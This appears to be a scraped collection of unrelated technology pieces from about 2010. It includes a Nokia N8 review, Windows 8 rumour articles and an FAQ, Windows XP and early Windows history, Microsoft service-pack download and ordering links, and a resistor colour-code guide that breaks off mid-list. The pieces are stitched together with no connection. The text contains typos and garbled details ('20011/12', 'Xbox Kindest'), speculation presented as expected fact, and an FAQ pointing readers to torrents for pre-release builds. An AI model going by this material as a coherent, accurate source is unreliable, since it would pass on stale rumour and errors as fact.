Nokia N8

 

Pros

HD video support

Superb 12-megapixel camera

 

Cons

Software feels dated

Keyboard difficult to use

 

Bottom Line

The Nokia N8 has some cutting-edge multimedia features, including a 12-megapixel camera and HDMI output, but the operating system feels stale and dated.

 

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Nokia N8: Hardware Impresses, but Software Underwhelms

 

When I first got my hands on the Nokia N8 ($550 unlocked; price as of 10/3/2010) back in June, I was impressed with its hardware and multimedia features, but had the feeling that the software was stale and outdated. After spending more time with the N8, I haven't changed my opinion very much. If anything, I am even more impressed with the attractive hardware and the fantastic camera--which makes the dated OS even more  frustrating.

Slick Design

The N8 gives the impression of being a high-end device, starting with its attractive, blue box. Opening the box reveals the equally good-looking phone and all of its accessories: an HDMI cable, earbuds, a wall charger, and data cable.

When held, the N8 feels lightweight yet sturdy. The scratch-proof metal chassis gives the phone a luxurious but durable feel. The N8 comes in five attractive colors: dark gray, silver white, green, blue, and orange. The face of the phone is minimalist, with the 3.5-inch 640-by-360-pixel display dominating its face and a single hardware button below it. This hardware button lets you switch between the homescreen and the menu screen; and when held down, it shows you all of your open applications.

 

The right spine of the phone houses the microSD slot (the N8's memory is expandable up to 32GB) and the SIM card slot. The micro-USB port is located on the right as well. On the left spine, you'll find the oblong volume rocker, a ringer off-and-on switch, and a dedicated camera key. The power button, a 3.5mm headphone jack, and an HDMI port are located at the top. The rather large 12-megapixel camera, equipped with a Carl Zeiss lens and a Xenon flash, is on the back. Annoyingly, the N8 does not have a removable battery, so you'll have to attack the device with a screwdriver to get the back cover off.

Stale Software

I dislike Symbian's typography. The boxy, small text just looks so late-1990s to me, and it isn't easy on the eyes. When Nokia announced the Symbian S3 revamp, I had hoped for cleaner, more modern-looking typography and aesthetically pleasing icons. But S3 looks more or less the same as the previous version with some tweaks and added features here and there.

A few features in the software didn't strike me as user-friendly. For example, unlike the iPhone OS, Android, and WebOS, S3 doesn't allow you to upload photos or videos to your social networks directly from the camera or gallery app. Instead, to share your photos, you must go into the dedicated Ovi social networking client, which aggregates your social networking accounts into a single app.

The on-screen keyboard felt cramped--even more so than the native Android keyboard. In portrait mode, you're stuck with a 12-key alphanumeric keyboard.This may be a nice trip down memory lane for some people, but it's incredibly annoying to use. I found myself always using the keyboard in landscape mode, which meant having to text two-handed rather than one-handed.

You also get only three homescreens to work with. For some users, three may be enough to accommodate all the widgets they need, but I wanted more. The widgets are all of identical size, and they're rather large, so you don't have a lot of room to work with. If you want to add a shortcut to an app on your homescreen, you must open the "shortcuts" widget; you can add a total of four icons on there. The process is a lot more complicated than Android's system of adding a widget or shortcut simply by holding down the touchscreen.

Arranging widgets is a bit of a pain as well. You can't move a widget between homescreens; instead, you have to delete it from one homepage and then add it to another. Moving widgets around on the same homepage is a simple matter of holding and dragging it to the desired place, but the OS's slow reaction time makes this task unduly frustrating (see Performance below).

S3 does introduce some improvements over older Symbian versions, such as multitouch in the browser and photo gallery (at last!), a navigation system that requires fewer taps, and a simpler multitasking system. Also, when you press the battery icon in the homescreen, a window pops up to display available Wi-Fi connections, USB connections, and a bigger clock that you can use to adjust the time or set an alarm.

Despite these tweaks, Symbian S3 feels outdated and overly complicated in comparison to the Android OS and iOS. Simple tasks--such as adding shortcuts to your homepage--are more difficult to perform than they should be.

Web Browsing and Multimedia

The Web browser's interface is unnecessarily complicated, too. For example, to get to your toolbar while viewing a page, you must hit an icon in the corner to call it up. You then have three unlabeled icons to work with. Anybody unfamiliar with the Symbian browser will be puzzled by these icons and what they do; in fact, they all perform slightly different functions, with some overlap.

The browser renders pages quickly over both Wi-Fi and 3G connections. Though it doesn't have full Flash 10 support, the browser does work with Flash Lite, so you can play some videos.

Overall, the video-watching experience is brilliant on the N8's OLED display. The phone supports HD quality video and Dolby Digital surround sound--a boon for movie junkies. I hope that Nokia makes purchasing movies easy--and available to U.S. audiences.

 

Excellent Camera

Nokia says that the built-in 12-megapixel Zeiss camera has the largest sensor on any phone. It certainly takes incredible photos. I snapped a few shots and was impressed at how bright and natural the colors looked and how sharp the details were.

The camera also captures 720p HD video, which looked great on both the phone and when played back on an HDTV. Playback was smooth and crisp, with bright and natural colors (for a look at how powerful the N8's camcorder is, check out this stop-motion video shot with the phone). The N8 has HDMI-out so you can play high definition videos from your phone to your home theater. Even better, Nokia includes the HDMI adapter in the box (unlike the way another company I can think of handles its HDMI-capable smartphone). Nokia also supplies a front-facing camera to handle video calling.

 

Performance

In terms of responsiveness, the N8 was hit-or-miss. I noticed a bit of a lag when flipping between the homescreens. On an iPhone or an Android device, the page turns with your finger when you flip between homescreens. With the N8, you swipe first and then the screen moves. Web browsing was speedy, but the browser did crash on me once during my tests.

Call quality on the N8 over the AT&T network was excellent. Voices sounded loud and clear with no distortion or static. Though we didn't conduct any formal tests, the N8 had very good battery life in my hands-on tests. The phone lasted for a full weekend of normal use (a few phone calls, text messages, video, and a few hours of music).

Ovi Maps Rocks

Nokia's excellent, free navigation service Ovi Maps comes loaded on the phone. What makes Ovi Maps better than say, Google Maps? Nokia has been aggregating data and building its mobile mapping technology since the company's acquisition of digital map supplier Naviteq. Ovi Maps shows local country data as well as more than 6000 3D landmarks. Users also have access to data from Lonely Planet and Michelin travel guides.

Ovi Maps doesn't require a network connection for navigation, so you'll conserve your phone's battery life and you won't be thrown off by cellular dead zones while on the road. Ovi Maps uses "hybrid vector maps," which Nokia says are high quality yet less data intensive so you can store them on your phone after downloading them. In contrast, Google Maps will cache along your planned route so you can continue to receive turn-by-turn directions to your destination even if you hit a dead zone; but if you try to switch to another map or plan another route, Google Navigation won't work.

Conclusion

The N8 is a remarkably hot-and-cold phone. It has some amazing features, such as the camera and video support, but the software is almost too frustrating to work with. I can onlyt imagine what a superphone the N8 would be if it had a different OS. Symbian needs a complete overhaul in appearance, functionality and performance; little tweaks here and there just won't cut it. I'm excited to see where Nokia's Meego platform with Intel may go, but we may have to wait awhile before any phones start to surface.

The lack of a carrier partner may hurt Nokia N8 sales; Nokia confirmed that the N8 will be sold "through the usual N-series channels." This means that the phone will be sold unlocked via Nokia's Website and from other retail partners. Nokia has made a big deal about reaching out and working with American carriers--AT&T in particular--so at some point a carrier is likely to offer the N8 at a subsidized price.

What to Expect: Windows 8

 

 

It started with an accidental posting on Microsoft's Dutch website saying Windows 8 was two years away from hitting the market. Then there were a few slides at the recent Microsoft Professional Developers Conference suggesting the next release of the Windows Server OS, which typically arrives just after a desktop edition debuts, was due in 2012. To add to the titillation, Microsoft CEO Steve Ballmer, when interviewed at the Gartner Symposium, said the next version of the Windows desktop would be "Microsoft's riskiest upcoming product."

Ballmer says Windows 8 is a big risk for Microsoft
We know Microsoft is not afraid of taking risks, even when it brings ridicule. I've said it before and I'll say it again -- although Vista (pre-SP1) earned a bad reputation for a variety of valid reasons, it was a necessary risk that Microsoft took to provide better security now, in Windows 7, which is built on Vista. Meanwhile, Vista will go down in history as one of the worst OS releases due mainly to a media frenzy launched by InfoWorld that trashed the OS mercilessly and an inexperienced public that bought into the negative press.

[ Get all the details you need on deploying and using Windows 7 in the InfoWorld editors' 21-page Windows 7 Deep Dive PDF special report. | Stay abreast of key Microsoft technologies in our Technology: Microsoft newsletter. ]

Is that what Ballmer is referring to when he says the next version of Windows is risky? Will Windows 8 be the next OS to take a bullet for the future of computing that we'll embrace with the Windows 9 to follow? Hopefully, history won't repeat itself so soon.

One thought is that Windows 8 will be only x64 and x128 (yes, you heard me), positioning Windows 7 as the last 32-bit OS. As crazy as that sounds, everything moves forward eventually. It wouldn't surprise me if the next flavor of Windows is 64-bit only. If it offers a 128-bit flavor, that would ensure Windows 9 will fully support 128. But this doesn't seem to be the big "risk" that Ballmer hinted at.

I'm more inclined, and excited, to think that the risk that Ballmer is speaking of relates to features. It's obvious the economy may not be ready for a new version of Windows that might require enterprises to spend money on more hardware upgrades. Also, those who upgraded from Windows XP to Windows 7 will not be eager to move to Windows 8 unless the features are compelling enough.

I believe the big risk Ballmer hinted at is whether the release will be significant enough to encourage the transition for XP stragglers and Windows 7 users alike. Given how good Windows 7 is, I'd have to be really impressed to make that move personally.

What Windows 8 may feature
What are the rumored enhancements? PC World reports three potential form factor "center of gravities" related to "lap PCs" and tablets, workhorse PCs, and family hub PCs. The lap PC will have tablet features, the workhorse PC is the traditional desktop or laptop system, and the family hub PC is your next evolution of Windows Media Center, where it ties your TV and other media devices.

One possible feature is called "My PC Knows Me," which will use a proximity sensor to detect your movements in a room and, for example, wake up your PC. When you sit at your system, it will scan your face and log you in. Multiple user accounts won't be a problem -- it will instead switch between users. I see this as an interesting parental control. Even if Junior discovers Mom's username and password, he won't be able to get around the facial-recognition-based parental controls.

Another new feature in Windows will be the equivalent of Apple's forthcoming Mac App Store or the iTunes store. Microsoft has already been working on this with Windows 7 and Vista in the form of the Games for Windows Marketplace, which is installed in PCs via Windows Update and will roll out in mid-November.

With the recent emphasis on Office 365, the productivity-oriented successor to Microsoft's Business Productivity Online Standard Suite (BPOS) cloud server suite that integrates with Windows Small Business Server 2011 Essentials (code-named Aurora), it is logical to imagine tight integration with Windows 8 as well. Some rumors say Microsoft will call its next operating system "Windows 365," which would further support the speculation that the desktop will be linked to its cloud offering.

One rumored change for Windows 8 is in the updating of key kernel OS files through the cloud servers. In doing so, Microsoft could ensure systems are updated (supposedly without reboot) with the enhanced files. Plus, this could help prevent piracy. In the event a connection with the Internet is broken, backup kernel files will be used until the Internet connection can be reestablished.

What else? According to leaked documents, as reported by Computerworld's Preston Gralla, we can look forward to improved energy efficiency, faster startup, and better help and support (although you don't have to read leaked documents to expect those updates). A push-button reset is mentioned, which would allow you to reinstall Windows without losing documents and applications. There is also mention of enhanced identity management that allows user identities to exist in the cloud and move with users as they go from PC to PC. These, too, are not incredibly futuristic in nature and should almost be expected in the next version of Windows.

My advice to Redmond: Take your time on this one. Windows 7 is doing just fine in the marketplace. Windows XP is slowly being retired where budgets and workload needs allow. The damaged reputation over Vista (earned or not) is beginning to fade, just as it did for Windows ME before it. Make sure the next flavor of Windows gets our mouths watering. Delay the release for as long as necessary until that is the case. We'll wait.

The State of Windows 8

 

Only Microsoft knows how the next version of its Windows operating system will look and what it will be called, but big changes could be ahead for the OS that observers refer to as "Windows 8."

At this year's Consumer Electronics Show in Las Vegas, Microsoft announced that Windows 8 will support system-on-a-chip architectures using ARM processors. Unlike the x86 architecture that today's Windows laptops and desktops work with, ARM-based chips tend to run such low-power devices as tablets and smartphones.

In his CES keynote speech, Microsoft CEO Steve Ball­mer said, "This announcement is really all about enabling a new class of hardware, and new silicon partners for Windows, to bring the widest possible range of form factors to the market."

In other words, Windows won't be just for laptops and desktops anymore.

 

Actual Facts

Microsoft's ARM announcement represents the firm's only officially released factual detail about Windows 8. Consistent with it, the company named Nvidia, Qualcomm, and Texas Instruments as silicon partners, so Windows devices built upon their three low-power platforms are likely.

At an architectural summit in London last year, Microsoft en­­couraged the idea of virtualizing Windows more heavily, possibly storing apps, data, Windows settings, and parts of the OS itself in the cloud.

Rumors

No rumor about Windows 8 is more precise than a series of leaked slides that supposedly provide a blueprint for Microsoft's next OS. The slides alone don't indicate final features of Windows 8, but they do show where Microsoft is headed, especially since other reports have corroborated them.

One slide, for example, talks about an OS that follows users wherever they go; instead of being tethered to hardware, users may roam between desktops, laptops, and tablets in whatever way is most convenient.

Another slide speaks of a reset button that preserves apps and settings while wiping out viruses and other hindrances. Some industry watchers suggest that storing apps and data in the cloud could make this feature possible.

 

 

As for Microsoft's goal of "instant on" computing, blogger Manan Kakkar spotted a Microsoft patent for using a hypervisor-another virtualization method-to split the operating system into a general-purpose OS and a number of appliancelike applications, such as for TVs and tablets. Those uses, Kakkar says, could switch on instantly even if the core OS took 30 seconds to start up.

How will Microsoft achieve these lightweight versions of its operating system? A ru­­mor circulated by Paul Thurrott posits that Windows 8 will introduce a tile-based interface called "Mosh" to serve as an alternative UI for tablets and other low-power touchscreen devices.

We've also heard rumblings about a new application de­­velopment framework code-named "Jupiter," whose goal is to help developers create dynamic, visually appealing, and immersive applications for a forthcoming Windows app store. It may also be an attempt by Microsoft to enable developers to create apps that work on both traditional x86-based CPUs and ARM-based processors without extensive recompiling and reprogramming.

 

Speculation

If you doubt whether Windows 8 will be a profoundly different operating system from its predecessors, consider this breathless bit of hype that briefly appeared on a Microsoft developer's blog in 2009:

"The minimum that folks can take for granted is that the next version will be something completely different from what folks usually expect of Windows...The themes that have been floated truly reflect what people have been looking [for] for years and it will change the way people think about PCs and the way they use them. It is the future of PCs."

Microsoft quickly removed the blog, as if to erase the evidence. So is the company really trying to shake things up with Windows 8?

 

The Big Picture

Microsoft clearly wants to create an operating system that scales between devices. ARM support provides the foundation, and cloud services could be a major building block. The challenge for Microsoft will be to leave the core Windows experience and legacy compatibility intact while also pursuing its lofty ambitions.

A final rumor: Reportedly, Microsoft is targeting a 2012 release for Windows 8. Think the company can get everything figured out by then?

Windows 8 Coming in 2012?

 

By Brennon Slattery, PCWorld    Oct 25, 2010 8:00 AM

Just as you were getting comfortable with Windows 7, it looks like Windows 8 is coming in the next two years. In a post celebrating the one-year anniversary of Windows 7 -- the fastest selling OS in history -- Microsoft's Dutch Web site briefly mentioned the construction and release of its successor:

"Microsoft is on course for the next version of Windows. But it will take about two years before 'Windows 8' on the market." Winrumors.com grabbed and translated the post, and CNET took a screenshot of the text, which unsurprisingly disappeared shortly after the news stole headlines. Now Microsoft is back to being tight-lipped about Windows 8 and its expected release.

Reports from last year suggested Microsoft was building a 128-bit version of its OS, which could very likely be Windows 8. More recently, Network World acquired more than 15 confidential slide decks detailing possible additions, including body-sensing features similar to the Xbox Kindest, a desktop app store like Apple's forthcoming Mac App Store, near-instant CPU booting, and a focus on powering tablets.

But most importantly, by the time Windows 8 supposedly drops, Microsoft is going to have Apple's latest OS to contend with. Apple just gave a sneak peek of Mac OS X Lion -- called a marriage of OS X and Apple's mobile iOS -- that includes some drool-inducing features like a desktop app store, advanced multitouch gestures, and more.

If Microsoft acts wisely, it stands a chance to emulate -- and perhaps one-up -- all of OS X Lion's key features ... or it could rush and produce another Vista.

Windows XP

 

                                                                             Windows XP screenshot

 

 

In 2001, Microsoft released Windows XP (code named "Whistler"). The merging of the Windows NT/2000 and Windows 95/98/Me lines was finally achieved with Windows XP. Windows XP uses the Windows NT 5.1 kernel, marking the entrance of the Windows NT core to the consumer market, to replace the aging 16/32-bit branch. The initial release met with considerable criticism, particularly in the area of security, leading to the release of three major Service Packs. Windows XP SP1 was released in September 2002, SP2 came out in August 2004 and SP3 came out in April 2008. Service Pack 2 provided significant improvements and encouraged widespread adoption of XP among both home and business users. Windows XP lasted longer as Microsoft's flagship operation system than any other version of Windows, from 2001 to January 30, 2007, when it was succeeded by Windows Vista.

Windows XP is available in a number of versions:

• Windows XP Home Edition, for home desktops and laptops - lacked features such as joining Active Directory Domain, Remote Desktop Server and Internet Information Services Server.
  • Windows XP Home Edition N, as above, but without a default installation of Windows Media Player, as mandated by a European Union ruling
• Windows XP Professional, for business and power users contained all features in Home Edition.
  • Windows XP Professional N, as above, but without a default installation of Windows Media Player, as mandated by a European Union ruling
• Windows XP Media Center Edition (MCE), released in October 2002 for desktops and notebooks with an emphasis on home entertainment. Contained all features offered in Windows XP Professional and the Windows Media Center. Subsequent versions are the same but have an updated Windows Media Center.
  • Windows XP Media Center Edition 2003
  • Windows XP Media Center Edition 2004
  • Windows XP Media Center Edition 2005, released on October 12, 2004. Included Windows XP Service Pack 2, the Royalle Windows Theme and joining a Windows Active Directory Domain is disabled.
• Windows XP Tablet PC Edition, for tablet PCs
  • Windows XP Tablet PC Edition 2005
• Windows XP Embedded, for embedded systems
• Windows XP Starter Edition, for new computer users in developing countries
• Windows XP Professional x64 Edition, released on 25 April 2005 for home and workstation systems utilizing 64-bit processors based on the x86-64 instruction set developed by AMD as AMD64; Intel calls their version Intel 64
• Windows XP 64-bit Edition, is a version for Intel's Itanium line of processors; maintains 32-bit compatibility solely through a software emulator. It is roughly analogous to Windows XP Professional in features. It was discontinued in September 2005 when the last vendor of Itanium workstations stopped shipping Itanium systems marketed as "Workstations".
  • Windows XP 64-bit Edition 2003, based on the Windows NT 5.2 codebase.

Windows 1.0 and Windows 2.0

 

The first independent version of Microsoft Windows, version 1.0, released on 20 November 1985, achieved little popularity. It was originally going to be called "Interface Manager" but Rowland Hanson, the head of marketing at Microsoft, convinced the company that the name Windows would be more appealing to consumers. Windows 1.0 was not a complete operating system, but rather an "operating environment" that extended MS-DOS, and shared the latter's inherent flaws and problems.

The first version of Microsoft Windows included a simple graphics painting program called Windows Paint; Windows Write, a simple word processor; an appointment "calendar"; a "cardfiler"; a "notepad"; a "clock"; a "control panel"; a "computer terminal"; "Clipboard"; and RAM driver. It also included the MS-DOS Executive and a game called Reversi.

Microsoft had worked with Apple Computer to develop several Desk Accessories and other minor pieces of software that were included with early Macintosh system software. As part of the related business negotiations, Microsoft had licensed certain aspects of the Macintosh user interface from Apple; in later litigation, a district court summarized these aspects as "screen displays". In the development of Windows 1.0, Microsoft intentionally limited its borrowing of certain GUI elements from the Macintosh user interface, in order to comply with its license.

 

 

 

                                                                       Screenshot of Windows 1.01

 

For example, windows were only displayed "tiled" on the screen; that is, they could not overlap or overlie one another. There was no trash can icon with which to delete files, since Apple claimed ownership of the rights to that paradigm.

Microsoft Windows version 2 came out on 9 December 1987, and proved slightly more popular than its predecessor. Much of the popularity for Windows 2.0 came by way of its inclusion as a "run-time version" with Microsoft's new graphical applications, Excel and Word for Windows. They could be run from MS-DOS, executing Windows for the duration of their activity, and closing down Windows upon exit.

Microsoft Windows received a major boost around this time when Aldus PageMaker appeared in a Windows version, having previously run only on Macintosh. Some computer historians^[who?] date this, the first appearance of a significant and non-Microsoft application for Windows, as the beginning of the success of Windows.

Versions 2.0x used the real-mode memory model, which confined it to a maximum of 1 megabyte of memory. In such a configuration, it could run under another multitasker like DESQview, which used the 286 Protected Mode.

Later, two new versions were released: Windows/286 2.1 and Windows/386 2.1. Like previous versions of Windows, Windows/286 2.1 used the real-mode memory model, but was the first version to support the High Memory Area. Windows/386 2.1 had a protected mode kernel with LIM-standard EMS emulation, the predecessor to XMS which would finally change the topology of IBM PC computing. All Windows and DOS-based applications at the time were real mode, running over the protected mode kernel by using the virtual 8086 mode, which was new with the 80386 processor.

Version 2.03, and later 3.0, faced challenges from Apple over its overlapping windows and other features Apple charged mimicked the ostensibly copyrighted "look and feel" of its operating system and "embodie  and generated a copy of the Macintosh" in its OS. Judge William Schwarzer dropped all but 10 of Apple's 189 claims of copyright infringement, and ruled that most of the remaining 10 were over uncopyrightable ideas.

Windows 8 FAQ

The Windows 8 FAQ has been created by the staff of Windows 8 News to provide visitors with

information about the Windows 8 operating system. The Windows 8 FAQ is updated

continuously as new facts and features emerge.

Although Windows 7 isn’t released until  22nd October 2009, attention is already turning to it’s

replacement Windows 8 which will is expected in 2011/12. Windows 8 News is dedicated to

bringing you all the latest news, rumours, screenshots about the next release of Windows, and

is the sister site to Windows 7 News, the best news source for Windows 7.

Subscribing will ensure you don’t miss out on any updates.

Why is the next Microsoft operating system expected to be called Windows 8?

Microsoft has changed its approach to naming operating systems (e.g XP, Vista) and is using

an internal numbering system and the next Windows operating system, Windows 7, is the 7th

release.  Hence the replacement for Windows 7 is expected to be called Windows 8.

When will Windows 8 be released?

Microsoft normally release a new OS every 3 years, so Windows 8 should be launched in

20011/12, approximately 3 years after Windows 7.

Are there beta or release candidate versions of Windows 8 that can be downloaded

for testing purposes?

Yes.  I’m sure Windows 8 early builds will be spotted on torrents soon.

Remember to check back as this FAQ will be constantly updated.

Now check out the latest Windows 7 News, Windows 7 Screenshots and Windows 7

Videos. There are also Windows 7 Wallpapers and a Windows 7 Theme you can download

for your PC.

 

How to Order Windows 7 SP1 DVD Disc Media

 

 

Microsoft has officially released Windows 7 Service Pack 1 RTM comprising the previously released security patches, performance and stability updates. There are a few convenient ways to obtain this service pack via online mode, including direct download from Microsoft Download Center or just allow the Windows Update to take care the service pack installation automatically.
However, if you do not wish to utilize the network bandwidth to download the gigantic service pack build, you can opt to order DVDs that contain the first service pack for Windows 7. In order to cater for the Windows 7 machines that are not connected to the Internet, the Redmond company is providing the DVD to the customers from various countries in North America, South America, Africa, Europe and Asia.

Each customer is eligible to order up to 3 copies of the physical media DVD. Note that the DVD only contains the service pack build and the Windows 7 setup installer is not bundled. In other words, it’s not Windows 7 with SP1 integrated DVD media. Although the product DVD media itself is free of charge, but the shipping and packaging costs apply.

Here’s the direct link to order Windows 7 SP1 RTM DVD:

US/Canada: https://om2.one.microsoft.com/opa/start.om?StoreID=d8f7bc03-a729-4829-88fe-3060615fec1b&LocaleCode=en-us

International: https://om2.one.microsoft.com/opa/start.om?storeid=2D43158F-9EF0-472D-8D70-ECC0E0102782

Microsoft Office 2007 SP2 (Service Pack 2) Official Download Links (for Suites with Language Packs)

As announced by Office Sustained Engineering earlier, Microsoft Office 2007 Service Pack 2 (SP2) final RTM version has been released by Microsoft to general public on schedule. Microsoft Office 2007 SP2 delivers major performance enhancements for Office applications such as Outlook, adds built-in native support for PDF and ODF, improves calendar reliability, fixes significant bug for charts in core Office application and many other improvements. Other than including all public updates, security updates, and hotfixes released through February 2009, SP2 also adds previously unreleased fixes that were made specifically for this service pack.
For those who wants to know more details about the SP2 can read the summary of changes and fixes include in Microsoft Office 2007 SP2. Microsoft has also published a complete list of changes in 2007 Office SP2 in 2007 Office Service Pack 2 Changes.xlsx document.

Microsoft Office 2007 Suite SP2 has the Knowledge Base Article ID of KB953195, and has the file build version of 12.0.6425.1000. The SP2 will update Office Basic 2007, Office Enterprise 2007, Office Home and Student 2007, Office Professional 2007, Office Professional Plus 2007, Office Small Business 2007, Office Small Business Management 2007, Office Standard 2007, Office Ultimate 2007, Office Access 2007, Office Excel 2007, Office InfoPath 2007, Office Outlook 2007, Office PowerPoint 2007, Office Publisher 2007, Office Word 2007, Office OneNote 2007 and Office Groove 2007. Also released is Microsoft Office 2007 Servers SP2.

Download the 2007 Microsoft Office Suite Service Pack 2 (SP2)

http://www.microsoft.com/downloads/details.aspx?FamilyId=B444BF18-79EA-46C6-8A81-9DB49B4AB6E5

Direct Download Link: office2007sp2-kb953195-fullfile-en-us.exe

Download Microsoft Office Language Pack 2007 Service Pack 2 (SP2)

http://www.microsoft.com/downloads/details.aspx?FamilyId=E1203DB2-1CC9-4809-9B6E-3F232CB8899F

Direct Download Link: officelp2007sp2-kb953195-fullfile-en-us.exe

The Service Pack 2 (SP2) is also available for the following standalone Microsoft Office application programs, which are not updated by Microsoft Office 2007 Suite SP2:

Microsoft Office Microsoft Project 2007 SP2 (KB953326)

Direct Download Link: project2007sp2-kb953326-fullfile-en-us.exe

Microsoft Office Microsoft Project Language Pack 2007 SP2

Direct Download Link projectlp2007sp2-kb953326-fullfile-en-us.exe

Microsoft SharePoint Designer 2007 SP2 (KB953292)

Direct Download Link: sharepointdesigner2007sp2-kb953292-fullfile-en-us.exe

Microsoft SharePoint Designer Language Pack 2007 SP2

Direct Download Link: sharepointdesignerlp2007sp2-kb953292-fullfile-en-us.exe

Microsoft Visio 2007 SP2 (KB953327)

Direct Download Link: visio2007sp2-kb953327-fullfile-en-us.exe

Microsoft Visio Language Pack 2007 SP2

Direct Download Link: visiolp2007sp2-kb953327-fullfile-en-us.exe

Microsoft Office Proofing Tools 2007 SP2 (KB953328)

Direct Download Link: office2007-kb953328-fullfile-x86-glb.exe

Microsoft Office Access Runtime and Data Connectivity 2007 SP2 (KB957262)

Direct Download Link: accessruntimeanddataconnectivity2007sp2-kb957262-fullfile-en-us.exe

Calendar Printing Assistant for Microsoft Office Outlook 2007 SP2 (KB953329)

Direct Download Link: cpao2007sp2-kb953329-fullfile-en-us.exe

Microsoft Office InterConnect 2007 SP2 (KB953330)

Direct Download Link: interconnect2007sp2-kb953330-fullfile-ja-jp.exe

Microsoft Office Compatibility Pack SP2 (KB953331)

Direct Download Link: compatibilitypacksp2-kb953331-fullfile-en-us.exe

Excel Viewer 2007 SP2 (KB953336)

Direct Download Link: excelviewer2007sp2-kb953336-fullfile-en-us.exe

PowerPoint Viewer 2007 SP2 (KB953332)

Direct Download Link: powerpointviewer2007sp2-kb953332-fullfile-en-us.exe

Visio Viewer 2007 SP2 (KB953335)

Direct Download Link: visioviewer2007sp2-kb953335-fullfile-en-us.exe

Direct Download Links for Microsoft Office 2007 Suites and Applications

 

 

When you try to download any suite, application or edition release Microsoft Office 2007 retail products or Office 2K7 Enterprise edition installer setup file online, you will need to login with your Windows Live ID or Microsoft Passport account, and/or have to fill up profile information such as name, contact address, email address, phone number, company name and other personal details. However, all this order and checkout process to download the setup binaries of Office 2007 is just the requirement to obtain a free trial product key which valid for 60 days to evaluate Office 2007 program that has been downloaded.
If you just need the full standalone setup installer for Microsoft Office 2007 suites such as Office 2007 Enterprise and Office 2007 Professional, or redistributable setup package for individual Microsoft Office 2007 applications such as Office Groove 2007, Office OneNote 2007, Office Publisher 2007 and Office Visio 2007, and do not need the free-of-charge evaluation license or product key, you can skip the sign up step and download directly from Microsoft the full setup files which will install complete features and functionalities that the genuine perpetual purchased versions will get, if you can provide the installed Office program a genuine and legal product key and successfully activate it.

 

Office 2007 Direct Download Link

• Microsoft Office Enterprise 2007
• Microsoft Office Professional 2007
• Microsoft Office Small Business 2007
• Microsoft Office Home and Student 2007
• Microsoft Office Standard 2007
• Microsoft Office Accounting Professional 2007
• Microsoft Office Groove 2007
• Microsoft Office OneNote 2007
• Microsoft Office Publisher 2007
• Microsoft Office Visio Professional 2007

Color code of Resistance

The 4-band code is used for marking low precision resistors with 5%, 10% and 20% tolerances. Identifying the value will become easy with a little practice, as there are only a few simple rules to remember:

• The first two bands represent the most significant digits of the resistance value. Colors are assigned to all the numbers between 0 and 9, and the color bands basically translate the numbers into a visible code. Black is 0, brown is 1, red is 2 and so on (see the color code table below). So, for example, if a resistor has brown and red as the first two bands, the most significant digits will be 1 and 2 (12).
• The third band indicates the multiplier telling you the power of ten to which the two significant digits must be multiplied (or how many zeros to add), using the same assigned value for each color as in the previous step. For example, if this band is red (2), you will multiply it by 10² = 100 (or add 2 zeros). So, for the resistor we used in the previous example, the value would be: 12 x 100 = 1200Ω (1.2kΩ).
  Note: If the multiplier band is gold or silver, the decimal point is moved to the left by one or two places (divided by 10 or 100).
• The tolerance band (the deviation from the specified value) is next, usually spaced away from the others, or it's a little bit wider. A color is assigned to each tolerance: gold is 5%, silver is 10%. 20% resistors have only 3 color bands - the tolerance band is missing.

So, for a 560 ohm, 5% resistor the color stripes will be green, blue, brown and gold. Green and blue are the first significant digits (56); brown is the multiplier (10¹ = 10) and gold is the tolerance (5%). 56 x 10 = 560Ω.
If the 3rd band would be red instead of brown, the multiplier would be (10² = 100) instead of 10 and the resistor value would be 56 x 100 = 5600 ohms = 5.6 k ohms.
If the multiplier band is gold or silver, then the decimal point is moved to the left one or two places (divided by 10 or 100). For example, a resistor with green, blue, silver and gold rings has a value of 56 x 0.01 = 0.56Ω.

The 5-band code

The 5 band code is used for marking high quality, precision resistors with 2%, 1% or lower tolerances. The rules are similar to the previous system; the only difference is the number of digit bands. The first 3 bands will represent the value, the 4th band will be the multiplier and the 5th stripe will give us the tolerance.

Optional band

A few resistors have an additional band - often giving beginners a bit of trouble - indicating either the reliability or the temperature coefficient.
The reliability band specifies the failure rate per 1000 hours (assuming that a full wattage being applied to the resistor). This stripe is found primarily on 4-band resistors made for military applications and seldom used in commercial electronics.
The temperature coefficient is more commonly marked, especially on quality 5-band resistors, as it starts to become an important factor for precision components. For a resistor with temperature coefficient of 200 ppm, for example, a change in temperature of 50°C causes a value change of 1%. The most common values for this band are presented in the color chart above.

Examples:

Four band code:
Green, blue, red, with silver tolerance band: 56 x 100 = 5.6 kohms, with a tolerance of 10%


Brown, black, orange, gold tolerance band: 10 x 1000 = 10000 ohms (or 10K ohms), with a tolerance of 5%

Red, red, brown, silver tolerance band: 22 x 10 = 220 ohms (220 ohms), with a tolerance of 10%
More 4 band resistor color code examples: E12 and E24 series.
Five band code:

Blue, brown, white, brown, red tolerance band: 619 x 10 = 6190 ohms (6.19K ohms), with a   tolerance of 2% 

Red, red, brown, black, with a brown tolerance band: 221 x 1 = 221 ohms, with a tolerance of 1%
Brown, black, black, red, with a brown tolerance band: 100 x 100 = 10000 ohms (10.0K), with a tolerance of 1%

Standard EIA Decade Resistor Values

Resistors are available in standard values such as 1K, 2.2K, 4.7K, and so on. The two most common standards are the E12 and E24. You will notice that in the E12 series each succeeding value falls within +/- 10% of the previous value. The E24 range includes all of the E12 values, plus a further 12 to enable the selection of more precise resistances.
The E6 (20%) range is a subset of the E12 (10%) range and the E12 range is a subset of the E24 (5%) range. Similarly, the E48 (2%) range is a subset of the E96 (1%) range and the E96 range is a subset of the E192 (0.5% or less) range. Note, that the E24 range is technically also a subset of the E48 range, however, because of the different number of digits used for representation and rounding errors, the corresponding values in the two series do not match.
E6 series: (20% tolerance)
10, 15, 22, 33, 47, 68
E12 series: (10% tolerance)10, 12, 15, 18, 22, 27, 33, 39, 47, 56, 68, 82
E24 series: (5% tolerance) 10, 11, 12, 13, 15, 16, 18, 20, 22, 24, 27, 30, 33, 36, 39, 43, 47, 51, 56, 62, 68, 75, 82, 91
E48 series: (2% tolerance) 100, 105, 110, 115, 121, 127, 133, 140, 147, 154, 162, 169, 178, 187, 196, 205, 215, 226, 237, 249, 261, 274, 287, 301, 316, 332, 348, 365, 383, 402, 422, 442, 464, 487, 511, 536, 562, 590, 619, 649, 681, 715, 750, 787, 825, 866, 909, 953
E96 series: (1% tolerance)
